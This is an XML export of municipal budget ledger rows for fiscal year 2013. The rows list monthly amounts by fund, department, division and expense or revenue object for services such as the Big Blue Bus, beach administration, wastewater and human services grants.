<row _id="4011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>170000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>170000.0</total></row>
<row _id="4012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5293.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5293.0</total></row>
<row _id="4013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="4014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18900.0</total></row>
<row _id="4015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>600</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60600.0</total></row>
<row _id="4016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="4017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>77195.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115195.0</total></row>
<row _id="4018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="4019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10346.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10346.0</total></row>
<row _id="4020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-85350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-85350.0</total></row>
<row _id="4021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401270.0</object><object_description>LEASED BEACH CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-441600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-441600.0</total></row>
<row _id="4022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="4023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>407150.0</object><object_description>SALE OF RECYCLED WATER</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="4024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-122418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22418</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="4025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>4502</april><may>0</may><june>0.0</june><total>4502.0</total></row>
<row _id="4026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>5000</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1751</april><may>0</may><june>0.0</june><total>1751.0</total></row>
<row _id="4028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>48000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48000.0</total></row>
<row _id="4030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="4031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555061.0</object><object_description>OUTSIDE AUDIT EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522546.0</object><object_description>MEDIA BUYS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17640.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17640.0</total></row>
<row _id="4033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404280.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-338386.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-338386.0</total></row>
<row _id="4034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522318.0</object><object_description>SAFETY &amp; SERVICE AWARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="4035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="4036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="4037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407510.0</object><object_description>CAPITAL GRANTS REV-REV EQUIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2013</fiscal_year><july>-20704233.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20704233.0</total></row>
<row _id="4038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400360.0</object><object_description>SMARS SOCIAL PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
<row _id="4039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555021.0</object><object_description>DETECTION &amp; ALARM SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3375.0</total></row>
<row _id="4040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12356.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12356.0</total></row>
<row _id="4041"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>260996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2610</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>263606.0</total></row>
<row _id="4042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>324268.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3243</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>327511.0</total></row>
<row _id="4043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23100.0</total></row>
<row _id="4044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="4045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="4046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="4047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1565.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1565.0</total></row>
<row _id="4048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
<row _id="4049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9639.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9639.0</total></row>
<row _id="4050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562120.0</object><object_description>CONNECTIONS FOR CHILDREN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44996.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44996.0</total></row>
<row _id="4051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562151.0</object><object_description>FAM SVC OF SM-AGCY BSD COM SPP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>62610.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>62610.0</total></row>
<row _id="4052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562152.0</object><object_description>FM SVC OF SM-MUIR SCHOOL PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>99865.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>99865.0</total></row>
<row _id="4053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562153.0</object><object_description>FM SVC OF SM-EDISON LANGUAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>59867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59867.0</total></row>
<row _id="4054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562154.0</object><object_description>FM SVC SM-SAPID &amp; ON THE MOVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>42968.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42968.0</total></row>
<row _id="4055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565161.0</object><object_description>VENICE FAMILY CLINIC-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92395.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92395.0</total></row>
<row _id="4056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
